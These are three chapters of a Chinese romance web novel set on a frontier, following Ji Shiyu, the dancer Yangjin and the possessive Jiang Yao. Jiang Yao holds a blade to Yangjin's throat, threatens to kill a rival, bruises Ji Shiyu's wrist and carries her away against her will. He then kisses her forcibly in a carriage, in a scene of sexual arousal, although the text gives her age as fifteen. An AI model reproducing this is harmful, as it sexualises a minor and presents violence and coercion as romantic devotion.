“小姐初来乍到,还用不惯岭西的吃法吧?这饼摸要撕碎了泡羊肉汤里吃才好。”
央金主动请缨,上前替姬时语体贴地撕了小块,泡入汤中,她笑说:“这才是羊肉泡馍。”
“不是啃的?”
于策安闹了个大红脸,满是尴尬。
央金笑眼睨来,“军爷牙口好,啃食也不错。”
姬时语抿唇便是笑声不止,正好,那头泡馍已是放罢,央金推至回她跟前,亲切说道:“五小姐尝尝。”
“你知道我的身份?”姬时语吃惊挑眉。
“若是我这点眼力见也无的话,这乐坊也就开不下去了。”
央金朝她眨眼,她麦色小脸妩媚起了笑。
姬时语不自觉便忆起昨日赶火日那一幕,她赞道:“我昨夜见了你的火势舞,非常漂亮。”
“多谢从京城而来的美丽小姐夸奖。”
央金后步弯腰,向姬时语拜礼道谢。
今日她未着红裙,双耳悬挂两只银环耳环,打在脸颊,晃亮的耀眼。
“小姐好奇大陇的挂饰吗?”
小姑娘明晃晃的漂亮双眼盯着央金耳坠瞧着,央金察觉,以为是她喜爱,便取来一条额绳吊坠,为她戴上。
央金还说:“小姐皮肤白嫩,配我们大陇的银饰很合适呢,串着五彩珠子,如天仙似的。”
姬时语被她夸得不好意思,凉凉的珠子落在额心,她抬手一摸,发髻两侧落了朱红的头纱。
“太漂亮了!”
央金问于策安:“军爷,你说可是?”
于策安重重点头。
姬时语真心感谢央金赠她挂饰,她便继而问道:“听闻是你开了这间乐坊,我很是好奇,这里姑娘们可卖艺?”
“歌舞只是我们的才艺之一,我们希望外人能够赏识来自于大陇风情。”央金很坦荡。
大陇民风比之实在外放的多,女子也不觉着身在卖艺,只当是一样谋生手段。
“实不相瞒,我曾是一名俘虏,六年前被带入岭西的上岱城,那时我没能死,因此我坚信我只会过的更好。”
姬时语了悟,“真是了不起。”
在这时,刚巧于策安的羊肉汤见了底,他得已空说了话:“你是六年前的那一批?那岂不是江大人带回岭西的?”
“不错,我是被江大人擒获,捉拿带回的岭西。”
姬时语听到熟悉的名字,她哥哥江曜,她的眼不时从央金滑到于策安。
“江大人光明磊落,给了我们这些俘虏一条生路,我才没死。”
央金笑意深深,她抚摸侧脸,有些怀念,“只可惜没多久便又领兵去了战场,我还没能谢过他啊。”
“你不会因着这事,对江大人心生爱慕吧?央金,我记着你比江大人还大三岁。”
“那又如何?在我们大陇话里,心意便该赤诚热烈,如草原黄花,开了便无畏凋谢。”
央金说的开怀,面上尽是少女般的倾慕,姬时语的脸僵了。
这位央金姑娘是真心仰慕江曜。
姬时语说不出是何心情,央金直言心悦江曜,她虽有些吃味,可又羡慕央金坦荡明朗。
很快小姑娘亦是扬笑。
是啊,心意该当赤忱热烈,她也该如此的。
“六年了,我一直在上岱城等他,想见他一面。”
于策安不怀好意笑了,他瞥姬时语,“那你可赶巧了,江大人已是回了上岱城,你可以去寻他表露心意。”
央金一愣,当真欣喜若狂:“真的?”
于策安还未答,屋外有位侍女寻来,唤了央金道:“东家,有贵人来了,你得亲自去迎。”
央金便与姬时语两人失了陪,离开了厢房。
良久,姬时语迟迟未收眼,她缓慢问于策安:“她说的都是真的?我哥……江池生当年,央金喜欢之人是他?”
“啊?他没告诉过你?”
“我没听说过。”
“光是我在军中听到的就有不少啊,他们总高谈言阔说哪家姑娘又看上江池生了。”
于策安好纳闷了,姬时语竟会不知情。
他还以为,这几年两人关系不如从前了呢。
对此,于策安滔滔不绝,“何止啊,岭西与大陇离京远,姑娘家大胆的多,你是不知道江池生那六年被多少姑娘家追求过哩。”
“真有这样多吗?”姬时语问道。
“闲来没事,听得还全是他那点事了。”
于策安吊儿郎当地环臂,“不过那些姑娘爱慕归爱慕,却没得个结果的。若说这之中还真有一位,对江池生是上了真心实意的,闹得可谓是整个岭西人尽皆知。”
姬时语瞬间抬眼:“是谁?”
“岭西经略安按察使曾大人的掌上明珠,曾宝仪,她几年前就放了话非江池生不嫁呢!”
于策安说起时仍感讶然,“曾大人乃是二品重臣,他的嫡女便是嫁入皇室都当得,偏就看上了江池生。”
“曾家还在上岱城?”
“不在了,就前两日,曾大人被调任回京,这些年曾大人在岭西当按察使,回京怕是曾家要位晋一品官家咯。”于策安笑说。
姬时语心生焦灼,朱唇紧抿,她掷了竹筷,没了用膳品菜的心思。
来到岭西,她才懂得与江曜分离的这五年,她一无所知。
而江曜,凡事瞒着她不说,招惹了这般之多的姑娘,连曾家嫡女都扬言非他不嫁了,他竟未和她通过气。
当真是哄着她,占她的便宜来了。
她怪的并非江曜受姑娘家爱慕,而是他的隐瞒。
这一桩桩的,她迟早要同他清算。
小姑娘气恼非常,小脸愠了怒气。
这时厢房之外透出央金的声音。
“江大人。”
于策安半拉烤馍噎在嘴里,这饼不香了,一个激灵望向姬时语。
他问:“江池生?”
姬时语顿时站起身。
小姑娘头上戴着几道七彩银片哗啦啦地响,她秀眉一蹙,眼眸微转,怒意丛生。
“是江曜。”
姬时语改道。
不是江池生,而是楚王府的江曜。
第102章
央金旋步下了楼,却见一道颀长的身影大步而上。
她俯眼看去,一看清楚人,整个人是定在了原地。
当年央金在大陇边城被俘虏,能保下一条性命,全靠江曜在军中一番话。
江曜告诉忠义侯,大陇女俘虏多为逃兵的挡箭牌,是大陇边城的平民老百姓。
与其杀了,不如将这些人圈起来关守,待战事平定,放这些人回大陇。
央金感激涕零,只觉得十四岁的江曜,是她往后追寻的弥拉。
弥拉,在大陇古语中,被誉为地位崇高的武神。
“江大人!”
央金大喜过望,眼中含泪。
军爷说的不错,还真是江大人回来了。
一张清冷容貌,狐狸眼墨色如深,万物在他眼中都显得如斯渺小。
江曜一袭墨袍,周身冷意飒飒。
比之当初十三岁初踏入岭西,如今的他褪去了少年时候的些许稚嫩,已然成了十八九岁意气风发的小将军。
江曜蹙眉问:“忠义侯府的五小姐可是在?”
“在,五小姐人便在二楼的天子一号房。”
央金才说完,江曜便黑沉着脸,要越过她上楼。
两人擦身而过,央金却抬起手去拉江曜的护腕。
然而还未碰着人,江曜已是惊察避开了她手。
央金急切追问:“江大人何时回的城?我们怎么没听得风声?”
“让开。”
江曜冷声呵斥。
央金的脸一僵。
江曜还是从前那个江池生,拂了岭西所有喜欢他的姑娘的意,不与任何人亲近。
也格外抗拒女人的触碰。
如那高岭之花,从不沾女色。
即便是按察使曾大人的明珠,亦得不到江曜一记投目。
央金悻悻收回了手。
“江大人息怒,我是实在太高兴了,竟忘了大人厌恶旁人的触碰。”
虽是受了江曜的冷眼,可央金多年以来期盼的便是这一日,如今终得见江曜一面,期望成了真,因而她还是生出笑容。
“江大人既然来了我这乐坊,不如留下用顿膳食再走?”
央金还是喜悦的多,她主动推心置腹:“这几年我满心想着大人,就想报大人的救命之恩。只是我地位卑微,若非如此,我定以身相许,为奴婢侍奉大人我也愿意……”
“什么救命之恩?”
江曜剑眉一斜,目光冰冷:“我可没救过你。”
央金白了脸,这话可是比拂了她心意来的还要难受。
江曜已不愿再和她多说,抬步上了二楼。
央金赶忙跟随了上去,抬头之时,却不知何时,姬时语纤柔的身影已是立在了二
楼楼梯的把头。
姬时语系着雪白披风,乌发挽起披在脑后,额面系了一只五彩琉璃珠串,两面薄纱红纱落于头侧,点缀出一抹异域光华。
明艳娇俏的少女安静地注视着两人,眼眸荡开淡淡的怒气。
江曜看见了。
姬时语身上那原本不属于她的,来自外族的发饰。
央金出声:“五小姐……”
“你对她做了什么?”
下一刻,江曜已是杀气四起。
见得姬时语头顶的大陇银链,他拔了刀瞬间横在央金脖颈,狐狸眼阴沉一片。
央金后腰直撞上墙面,疼得咬牙。
“那只是我们大陇所戴的首饰。”
“大陇之物,未经查实,谁能说不是歹物?而你央金,不要忘了你的身份,你曾经是大陇来的俘虏,你若胆敢害忠义侯府的五小姐,我必杀了你。”
江曜满眼杀意,是真动了杀心。
央金绝望心碎。
原来她在江曜心里,竟是这样的不堪之人。
央金的脸彻底惨白,刀就在脖上,她无力辩解,“那江大人杀了我吧,我这条命本就是你的。”
“江曜,放下刀!”
姬时语落地有声,止住江曜的动作。
她颦眉,不掩怒气地走了过来。
江曜亦是不悦:“阿锁,你不知道上岱城曾被大陇歹人混入了城,包藏祸心害了性命。”
“是,我什么都不知道,那你可有告诉过我?”
姬时语质问江曜。
江曜缄默了。
阿锁很不开心,他感受到了。
因此尽管他心烦意乱,但还是乖顺将刀收回了刀柄。
“央金的好意我已心领,她对我无恶意,我不准你在胡兰乐坊见血。”
姬时语才是不爽快,斥责江曜也不留情:“你身为都督佥事,巡案还要讲究根据呢,一言不合就开杀,成何体统。”
也不知江曜听没听进去,反倒是一旁的央金听得心惊胆颤,小心瞄姬时语与江曜。
江大人竟已是二品重臣,官位大的能压死人,与她更是云泥之别。
别说是甘愿给江曜做侍妾了,即便入府做婢女,她这样的俘虏出身都不能够高攀。
她不该强求的。
央金暗暗叹了口气。
沉默半晌,江曜来牵姬时语的手,“阿锁,你在外待太久了,该回府了。”
姬时语没让他牵,反而甩了他的手,“是我爹让你来的?”
“是我自己来的。”
“那我不回去。”
江曜狐狸眼沉下来了,他道:“不回?”
姬时语咬唇,小脸写满了固执,偏要犟到底了,“对,不要你管,我就是不要回去!”
两人夹火带刺的,央金一声不敢吭。
余光之中央金睨望于策安出屋,像寻得救命稻草似的扑了过去,大喊了一声。
“军爷!”
这一喊不得了,江曜瞬间察觉,于策安竟是也在。
“你出府,便是与于策安同游?”
江曜再度回望,一双狐狸眼目眦欲裂,染了血红。
本在同知府见得姬雄武,姬雄武当面勒令,让江曜死了想迎娶姬时语的心,他便心生癫狂。
又恨又怒,江曜是吃味,也恨所有人,恨所有阻碍他和姬时语在一起的人。
为何?
为何这天下,不管是谁,都要来妨碍他!
他怎么努力,不顾一切的爬,都爬不到姬时语的身边。
凭什么?
江曜绝不容许。
他绝对要让忠义侯府的人看清楚,这世道唯有他才配迎娶姬时语。
而此时在他眼前的,又是于策安。
忠义侯府不准许他和阿锁结为夫妻,却应许于策安亲近姬时语,两人同行游街。
阿锁还戴了新奇漂亮的发饰,是为了给于策安端看?
六年了。
当年他没杀了他,真乃失策。
阴郁的狐狸眼一瞥,死死盯住了于策安。
“于策安……”江曜冷冷道。
“不是,等会儿!”
于策安被吓得一个咯噔,五六年一晃过去,可是内心曾被江曜拔刀差点杀了的恐惧,不曾消散。
这人心肝有多黑,又有多护短姬时语,于策安比谁都要清楚。
只是一眼,于策安便清楚感知到。
江曜握刀的手不稳了,他恐怕随时要拔刀要了他的命!
“江曜!”
姬时语在江曜身侧,最先惊觉,她握住江曜拿刀的手,拧眉又是拦他。
“江曜,你冷静点,不准杀于策安。”
可姬时语越是说这样护着于策安的话,江曜心中杀念更重!
姬雄武的话回荡在耳边。
“江曜,你只能是阿锁的兄长。”
忠义侯不允两人定亲,要江曜为兄亲自送姬时语出嫁。
他只配做姬时语的哥哥,眼见她嫁与旁的男人吗?
江曜的心,彻底怒了。
“江大人,息怒,你千万要息怒啊!”
眼看江曜抑制不住,于策安慌忙摆手,不停后退。
于策安是个惜命的,因而胡扯也要让江曜相信自己:“我和姬小五清清白白,只是受侯爷托付,带她外出尝一尝岭西当地的吃食,对吧,央金?”
央金疑惑这一幕,但还是点头。
江曜并未彻底息怒,他反抓住姬时语的手腕,力道之大,直接给她皓腕攥出了红痕。
姬时语吃疼,不住地喊:“好疼。”
“回去。”
江曜执意。
他又来了强劲姿态,姬时语怒火满满,挣扎起来,“江曜,你放开我!”
“我说,回去。”
“我也说了,我不回!”
姬时语小脸写满不愿,她一双眼全然皆是抗拒之色,扯着手,便要他放手。
此生,江曜最受不得的便是姬时语的抗拒。
如炮竹被点燃,炸穿了他的心。
二话不说,江曜反手掐住了姬时语的腰肢,将人一把夹起抱住,便这么带着她一块匆匆往楼下去。
央金看傻眼了,“不会吧,江大人怎这么强横?”
“那你是没见过他对姬小五有多执拗了,从小时候就是,长大只更甚罢了。”
远远的,于策安注视姬时语脸皮通红,气血翻涌,喊着要江曜放她下来。
小姑娘锤了又打,还咬住了他的手,不停的闹。
江曜反手将姬时语给抱正了,如搂抱小孩子一样托着她的腰肢。
他竟当堂之下,凑近了头颅,吻上了姬时语的侧脸。
这番举动哪里有半分兄长的姿态,反倒像是真切的有情人。
两人旁若无人的亲昵,惊呆了于策安。
也不知道江曜嘴唇开开合合,说了何话,姬时语那头怒气霎时消散,整个人是害羞的不行。
小姑娘迅速戴上兜帽遮住了脸,连白洁手背也染起粉意。
于策安看得唏嘘不已。
江曜真如被下了蛊,在姬时语的事儿上,固执的可怕。
“那两人是何关系?”
央金好奇问:“江大人不与女人亲近,偏待五小姐亲密无间,我瞧着不同寻常的很。”
“听说是兄妹。”
于策安摸着下巴,打哈哈浑说:“姬小五是这么说的,忠义侯收了江大人为徒,两人便是兄妹相称。”
“哪有这样的兄妹?”
央金咂舌:“郎情妾意的哥哥妹妹,倒还差不多。”
于策安频频点头。
他亦是觉着江曜望向姬时语
的眼,是猛兽之中的雄性凝望自己的雌性,才会有的目光。
那股几近占有,不容旁的雄性接近一分。
连领地也圈化了起来,一寸不给入。
方才只是知道他和姬小五用膳,江曜便想斩杀他。
太可怕了。
惹到江曜,真是惹了煞神。
“如此也好。”
央金双手合起来,做了祈福与祷告,“若是江大人寻到了赫舍,我愿意祝福两人,此生幸福美满。”
“赫舍是什么?”于策安问。
央金笑了笑,依旧开朗。
“军爷没听过大陇的故事吧?”
“没有。”
“在大陇语里,弥拉是武神,而赫舍,便是弥拉之妻,是为救神的天女。也是她,救了本该堕落的武神。”
央金以为,她的弥拉寻到了真命注定的赫舍。
……
马车之中,姬时语和江曜两两相望。
江曜一把将姬时语夹抱入了马车,又喊车夫即刻赶回同知府,是一刻也不愿久留。
姬时语被正面抱坐于他腿上,双腿分开支在他身侧,江曜有意抬高她,便就是让小姑娘双眼与自己平视。
只是这个姿势……
到底令姬时语不怎么舒服。
太过羞人。
她不得别过腿,一条细长腿腕还被江曜攥住,支坐摆弄,圈在了他的腰间。
再多羞恼,难以自持,她脸皮热气直冲脑门,好在人在车厢之中,唯有他们两人。
“你怎又这样?”
姬时语粉面红晕,多是气得,照着江曜的肩膀便捶打,“总不讲理,我都不想要理你了。”
他便像是对他自己之物,有着几近癫狂的执拗,霸道的占为己有。
可是,她是什么物什吗?
要喜欢,不该喜欢她这个人?
马车中安放了火炉,不冷,两人抱在一处反而有些生热,江曜解了姬时语的披风,露出她身上的一袭明黄色齐腰襦裙。
腰间别有一只双蝶飞花荷包,腰带是黄花绸缎,缎面丝滑,江曜勾着她的腰带,将人拉近了,再一抬眼。
坐在他身上的姑娘额上银式挂额熠熠泛光,她瞪眼怒视,没得杀气,一双漂亮眼瞳如小勾子。
勾着他想攥得她更紧。
“江曜!”
姬时语板着脸喊他,朱红头纱微动,当真明艳生动。
可这样的美景,他只想自己能见。
“你不满。”
江曜握住她纤细的腰肢,大掌便摩挲起她腰窝的软肉,他冷嗤呵道:“就因为于策安在?”
“这事怎么就挨上于策安了?又干他何事了?”
“他同你举止亲密,阿锁,不如你莫要拦我,让我去杀了他,我便不再计较了。”
江曜眯着一双狐狸眼,以极其平稳的语气说着如斯癫狂之话。
“不行。”
可姬时语怎么可能眼睁睁看着他滥杀无辜,“我说过了,我不准你在上岱城杀于策安,不然别怪我和你翻脸。”
“你还要和我翻脸?”
江曜被激得满脸全然阴沉了下来,他受不得这句话,掐住姬时语的腰,霎时直起背便捉了她的唇。
是狠狠吻上了她。
姬时语想躲,江曜的手又摁住了她的后脑。
她坐在他身上,被迫承受了这个吻。
江曜的唇一向冰凉,如上好的玉凉糕,吃起来滑滑的,只是亲上他,并无不舒服之感。
他含着她的唇,没一会儿,姬时语的腰便软了,小脸跟着羞赧。
她不太会亲吻,显得笨拙。
回应他的吻,她也只会鼓鼓唇瓣,总被江曜亲得呼吸不得。
可她又乖顺的给江曜亲,他便是心里满足。
只是这份满足还不够,他还想要姬时语的全部。
偏在这时候,江曜的曲膝一顶,马车本就颠簸,乍动之下,姬时语经不住娇吟出了声。
他趁机闯入,干净的气息席卷姬时语的唇齿,他想她的每一寸皆要沾染自己的气味,方才罢休。
吻着她,江曜的薄唇微抿,十根手指俱是陷入了姬时语腰窝之中。
江曜想了许多。
忠义侯府不准许两人结亲又如何?
他就是恶劣之人,背地里勾着小姑娘同自己欢好,这事不是没做过。
什么好计拙略之计,他都用得。
他要姬时语眼里只有他。
江曜啃咬她唇瓣之上的软肉,拉扯两下,牙齿咬动,舍不得放开她,想一直亲着娇娇软软的姑娘。
好半晌,马车终于是停了,车夫喊了句:“大人,五小姐,到了。”
两人方惊醒,江曜松开了嘴。
姬时语被亲的气喘吁吁,双手支在江曜肩侧,软趴趴的。
她粉面如桃花,朱红唇瓣鼓起红肿,靡丽绯艳,泛着水光。
江曜当真下了狠口,亲得是又重又凶。
姬时语感觉自己嘴唇,又是被咬破了。
这令小姑娘恼火万千。
今日出府一趟姬时语打听到江曜的许多过往,诸多往事全是她所不知的。
姬时语恼江曜欺瞒。
方才亲见他和央金熟稔,两人压根早便相识,她心口浊气更甚,偏又被他霸道抱回了马车,抓着便是一通亲吻。
气得她这会儿火气翻涌,拽着江曜衣襟便盘问。
“我还没同你置气呢,你倒是说道说道,你和央金是几时认得的?你们二人是何关系?”
江曜垂首,见她捉着自己的指甲盖粉嫩,他沉声回:“我与央金不熟,并无关系。”
“哼!”
姬时语才不信,人家姑娘都芳心暗许,在上岱城等了他足有六年,便为了今日得以相见,表明心意。
想着这些,姬时语的心口再度泛起酸涩,她的指尖是掐紧了江曜。
“你还说不知呢?她都那样说喜欢你了,你还同我狡辩。”
江曜良久未语,一双沉沉的狐狸眼盯着姬时语不住打量。
被他看得太久,姬时语脖子一梗,不自然地扭头,“你瞧我做什么?”
“莫非阿锁是吃味了?”
江曜凑近了些,鼻尖贴上了她的,蹭了蹭。
只可惜,姬时语并不愿这时候同他亲密,瞬间朝后拉开了身子。
小姑娘娇哼:“我才没有呢。”
“没有吗?”
江曜露出微微失落的神情来,他故意偷偷摆了腿,颠簸一下身上的姬时语。
便是在逗弄她,要她多理理自己。
可姬时语还在气头上呢,旋即便抽出一根食指,抵在江曜胸膛,哼哼说着:“你最好一五一十交代清楚了,你在岭西究竟招惹了多少姑娘?”
江曜笑出了声。
还说没吃味呢,满车厢都要被阿锁的质问淹没了。
“真没有。”
只是江曜实在想不出,自己何时何地招惹过别家姑娘。
这些年他心中唯有一道娇俏身影,再没装过旁的女人。
“我只招惹过一个人。”
“五年前,是十岁的阿锁。”
“五年后,是十五岁的阿锁。”
只有他的阿锁。
“你!你怎么这样?”
姬时语被他无比真挚的话语惹得面色酡红,莹白的脸几度飞霞,手指抬起发不出更多气了。
末了,她憋出干巴巴一句:“可是……央金她仰慕于你。”
江曜捉住姬时语的手指,放在手心揉搓,“我也是今日才知晓。”
这回换做姬时语不吭声了,只顾着羞赧。
江曜见她神色平息,是这事过去了的意思,他的事已了毕,那便是轮到她的事。
“阿锁,该你说说了。”
“我说什么?”
姬时语装不懂,江曜可不满意,他支起腿,故意跛了她一道,姬时语没坐稳,“哎呀”扑入他怀中。
藕段似的双臂顺势抱上他的脖子,江曜便握紧了她的腰,两人贴的近,连热气亦在彼此之间传递。
“故意作弄我是不是?”
姬时语被他弄得羞愤,抬起手腕拍打他,“你把我咬得这样狠,我还没训斥你呢。你坏,放我下去!”
“我没用力。”江曜平静道。
“你这还不叫凶狠,那怎样才算?哼,你每回亲我没轻没重的,迟早把我咬得遍体鳞伤。”
姬时语瞪他,可惜方才才被亲过一道,此刻的她眼波秋水盈盈,每一道投眼,都好似在撒娇讨欢。
江曜又想亲她了。
他喜欢到心里的姑娘,是怎样亲也亲不够,总同上了瘾似的。
江曜摆过脸来,薄唇便也贴近了一分,“那我给你咬回来。”
“谁要咬你了?”
姬时语气极了,她是拿江曜一点法子也无。
有心想惩罚他吧,他又会适时的装乖示弱,让她狠不下来心。
可是便就这么便宜他了,她太不甘心。
不行,还是要咬他一口解气!
因而,姬时语倾身覆下去,捧着江曜清冷的脸,便咬上了他的唇。
小姑娘不通技巧,只凭着本能咬他,她牙齿不尖利,摩挲啃咬了两下,反倒更像在别样的寻欢。
亲着他,她便用力咬两下,唇瓣紧紧贴着,姬时语胡乱的亲咬江曜,
以此泄愤。
几下之后,姬时语解了气。
可只是瞬间,腰上那只遒劲的手臂猛然收紧,死死勒住了她。
后知后觉,姬时语喘息不得,终察觉身下的少年很不对劲。
“嗯……阿锁,别这么亲我,我忍不住。”
江曜沉吟一声,喘息声似乎重了。
姬时语不敢咬了,赶紧撒口。
不知为何,姬时语觉着自己所坐的,不像是少年身上,反而更像是烈日暴晒之后的巨石,滚烫咯人。
早先江曜吃了花药,两人半坦诚相见过一回,姬时语已不能算是个万事不懂的黄花大闺女了。
她是懂得的。
自己身下的变化。
眼前江曜那双微红的狐狸眼,他正直勾勾盯着她,冷凛目光之底,燃烧着火热的情意。
他、他根本就是被自己给咬……
可是,她只是咬了江曜两口!
他怎就反应这么大!
江曜仿若未知,反问她:“还咬吗?”
他再度贴近,自他结实胸膛传递而来的热气滚滚,姬时语感触更热,脸色骤变。
“不咬了,我不咬了,江曜,你别,不要在这里……”
姬时语真怕了,连身子都是在抖,身下的触感十足真实,她埋头缩在江曜肩窝,紧紧圈住他的脖子。
跟个鹌鹑似的,在疯狂逃避。
江曜揽着她,静静平复。
他也不想真吓着她,只是情难自控,即使是他,也不一定时时都能自持冷静。
何况他还喜欢她那么久。
江曜说:“那你不要动了。”
姬时语闷头,别扭地应了一声。
小脸早便红扑扑了,双耳滚烫,眼睫眨得厉害,她恨不得江曜早些平息躁动。
她是太羞了。
亲归亲,抱归抱,再多的便是狂风暴雨,她还承受不住。
车厢之中归于平静,江曜抱着姬时语,冷然的喘息了几口气,缓缓地,气息平静。
“大人,五小姐,没出事吧?”
外头忙不迭传来问话,是为关切。
马车早已抵达同知府,两人却在车里胡闹了许久,等的车夫还以为里头出事了。
姬时语一个蒙头,又是抱紧了江曜,她闷哼拉了好长:“好讨厌,我不要见人了,都怪你……”
江曜给她系好了披风,又将兜帽戴好,便这么抱着她下了马车。
萍亭和萍柳在府门口迎接,得见江曜抱着姬时语走来,还关心问道:“小姐怎么了?”
“外头冷,她身子有些不适,回去暖暖便好了。”
江曜睁着眼说瞎话,是将两个丫鬟蒙混了过去。
姬时语埋着脑袋,一字不吭。
江曜就会欺负她脸皮薄,她真的没脸了!
第103章
来到岭西之后,薛淮璋成了新上任的府同知,人生地不熟,忙的是脚不着地,不可开交。
来一趟岭西的上岱城,姬时语可不愿就窝在同知府,干等着归京。
可姬合英亦回归官职,她本就受册封为岭西总兵,虽战事已平,但每日需得去往军营练兵。
姬时语有心想要姐姐作陪,在上岱城游玩一番,也只能歇了心思。
江曜又被姬雄武喊走,不得空。
无奈之下,姬时语只得让萍亭去胡兰乐坊寻乐坊的老板娘央金姑娘。
她本想询问央金,城中可有淳朴人家,愿意代劳领她四处转转。
岂料央金却一口应下来。
她愿意为姬时语做向导,领她观望岭西风光。
江曜听说此事,拧眉竟不愿意:“阿锁,真要她作陪?不如等我这几日忙完……”
“你真的能忙完?我瞧着军务繁忙的多,不然爹也不会使唤你一个都督佥事,去参合岭西的军事。”
姬时语哪里不明白呢,她又说:“你的告假不下几日了,再过些时候便要归京,我哪还能等到那时候?”
江曜只能作罢。
于是,隔日央金便来同知府接姬时语外出,两人相携上了街。
岭西的上岱城寒风不止,因此出府之时,萍亭都会为姬时语备好热乎的手炉。
今日她捧着怀中的热炉,身上裹得严实。
相比之下,央金便穿着单薄,她连披风也没戴。
姬时语问她:“你不会觉着很冷吗?”
“我们生来便是如此,早习惯这样的日子了。”
央金拂了头发,麦色的脸扬笑,“在大陇,可比岭西还要寒冷,那地方黄沙不断,又无群山遮挡,皮肤极易干裂。”
说起这话,央金的眼不自觉在姬时语的粉面流转。
忠义侯府的五小姐乃京城出身,娇养长大,小姑娘肤如凝脂,身处于岭西,真是任谁都能一眼瞧出,她并非岭西中人。
白白净净的肌肤,水亮剔透的眼瞳。
这朵娇艳的花苞,需得多少精心呵护。
“五小姐嫌少外出吗?”
思及此,央金不易觉察地朝姬时语身后瞥了一眼,轻轻笑说:“这才一出府,身后便跟着数只小尾巴呢,看来是真心担忧你的安危了。”
姬时语循着回头。
却只见主街人来人往,岭西与大陇人吆喝叫卖,是寻常之日。
央金环了臂,“我比常人要敏锐,应是侯府派了人手跟着你呢。”
姬时语眼眸闪动。
她问道:“是两人吗?我有两名女暗卫。”
央金回:“不止,不过这些人无恶意,是在看护你。”
除开宁心、宁乐姐妹乃她身边的暗卫,姬时语还知道的。
便是江曜安插在她这儿的人。
寸步不离。
对上央金含笑的眼,姬时语怏怏地垂首,她闷声闷哼,“那该是我哥哥的人了,他总把我当三岁孩子看,走到哪也放心不下。”
“哎呀呀,我听到了什么?”
央金的手捂在了嘴边,手腕上闪亮的银镯子顺着手臂滑下,她调笑不已:“弥拉这是把赫舍你当眼珠子一样看呢,好让人艳羡啊!”
“这是什么意思?弥拉和赫舍又是谁?”
姬时语听得不懂之话,便问她:“央金,这是你们大陇的说法吗?”
“是的,大陇有流传千古的传说,其中以三大古神为首,是我们世代祭拜的信仰。不论喜乐安康,祈福消灾,我们都会向古神祈求庇佑。”
央金说起大陇往事,她双手合起来闭上了眼,是虔诚模样,“而弥拉,便是三大古神之中的武神。”
姬时语好像懂了,她茫然问:“你是说,我哥哥像弥拉?”
“是的,在我心中是这样,他很高大伟岸,令人崇拜向往。”
央金说的尊敬,只是姬时语有些坐立难安。
这若是大陇传说,被比作这般崇高的敬仰,他们不会无意间冒犯古神吧?
可姬时语也不好问央金的罪,毕竟她并非大陇人。
“五小姐,你可是怕我的话太冒犯了?你不必担忧,近百年古神传说在大陇已不再受尊崇,王国以君王为上,百姓更多还是朝拜我们的王上。”
央金好像察觉姬时语的不安,她笑了笑,安抚她道:“只是我们边关城里,还是最为崇敬武神,但凡在战场英勇善战的将军,我们都会赞一句弥拉在世。”
“原来这是一句鼓劲的话?”
“你可以这么想。”
姬时语还真畏惧不知的信仰,她虽
不信,但还是持有敬畏之心为好。
央金能这么说,姬时语大为放心,
两人笑谈间,央金已领着姬时语攀上了上岱城的外城墙,城外是碧蓝的天与一望无际的黄土。
黄褐色与天青色,就这么恰到好处的融为一体。
姬时语还有事没弄清楚,她问:“弥拉是三大古神,那赫舍又是谁?也是三大古神之一吗?”
央金回过头来,麦色的脸在日下勾出笑意,她比了个食指,朝她眨眼。
“五小姐,难得出府,你就不想看七彩丹霞吗?”
姬时语挑眼,越过央金。
在她右手之边,山丘与大地,宛如烈火燃烧,火红烈焰般的山头拢着绚烂的流光,霞光万丈,连绵不绝。
“太美了。”
姬时语瞩目,静心沉浸在岭西美景。
只是站立在这里,好像心头诸多烦心,皆在此全然消弭了。
……
在岭西的七日,央金尽心做着姬时语的向导。
领她走过月牙泉,看罢七彩丹霞,日落时分,两人又一起去看荒漠黄沙的鸣沙山。
直到姬时语要离开岭西了,她还不忘追问央金一句。
“赫舍究竟是谁呢?”
“您真想知道的话,我告诉您……”
央金凑到了她耳边,悄悄说了好些话。
她边说着,边留意到,粉面桃花的姑娘是一张脸全羞红了。
二月初,江曜将要启程归京。
姬雄武军务脱不开身,便吩咐姬时语跟随江曜先行回京城。
想着江曜告假将至,姬时语便应了好。
临行前,姬合英与薛淮璋亲自来送行。
两姐妹很是不舍,姬时语也知姐姐喜欢岭西,姐夫甘愿调任,全是想随姐姐的心愿。
因此姬时语抱着姬合英说道:“姐姐,你照顾好自己和姐夫,京中娘那里,还有我呢,你不用担心。”
“阿锁是真长大了。”
姬合英抚摸着姬时语的脑袋,眼眶微微湿濡。
两姐妹又抱了一会儿,分离之际,姬时语心竟格外的平静。
许是姬时语早知有这一日,这一世能见得姬合英幸福美满,已是知足了。
送她上了马车,姬合英又往车中塞了几罐桂花蜜,姬时语说过她喜欢的,姬合英可都记着。
看姬合英塞了好多罐子,姬时语笑着拦她,“姐姐可以了,再多我吃不完都得扔的。”
“好。”
姬合英又说:“往后我再派人往京城侯府送。”
姬时语趴在车窗之上,重重地点了头。
另一头,江曜已策马而来,队列整装待发,是要启程了。
姬雄武候在车旁,他喊道:“江曜。”
姬时语看了过去。
“回京之路,你要照看好阿锁,她是你的妹妹。”
姬雄武雄厚的目光注视着江曜,好似在叮嘱,又好似在警告,“还有,别忘了我说过的话。”
江曜一张清冷俊容霎时黑沉下来。
很快,江曜转身扭了头,他扬鞭策马,少年的冷声落了地。
“出发。”
姬时语同家人招了手,做了告别,遂撇下车帘,窝坐回了马车之中。
马车摇摇晃晃,姬时语绞着手指,脑中又浮起江曜挺直的背影。
她想到了央金的话。
姬时语问央金:“赫舍真是三大古神吗?”
“不是。”
央金却摇了头,“弥拉是古武神,三大古神之中唯有武神娶了妻,而也只有他,只差一步跌落神坛,堕了神位。”
在大陇的传说中,四海乱世,天下从未升平,后是三大古神降世,由武神领军平乱,止了乱象。
但乱世平后,弥拉却因杀孽太重,生出心魔。
虽是武神,他却不能压抑内心的魔咒,从战场下来的弥拉,频频暴走,几度杀害百姓。
这样的武神,是无法受世人敬爱的。
好在,赫舍出现了。
她以一介凡人之身,成就救世天女尊位,她遏制了武神心中的恶念,并与弥拉坠入爱河。
赫舍便是弥拉日后的天命真爱。
而央金却笑话姬时语,说她和江曜两人的相处,似极了大陇传说中的武神与其爱妻赫舍。
弥拉性子很霸道,对爱妻极尽占有,而赫舍心有大爱,无私包容。
她抚平了弥拉的伤痛。
姬时语总感觉央金看走了眼。
她不过是忠义侯府的姑娘,一心只想享乐好生活着,哪有那么大本事,身肩天命,将人悬崖勒马啊?
这辈子十岁那年,捡了江曜回忠义侯府时,她本也以为自己真能将少年养正直。
这一世免他再入癫狂魔怔。
可是这些时日相处下来,姬时语非但没觉着江曜性子平稳,反而是越来越容易疯狂了。
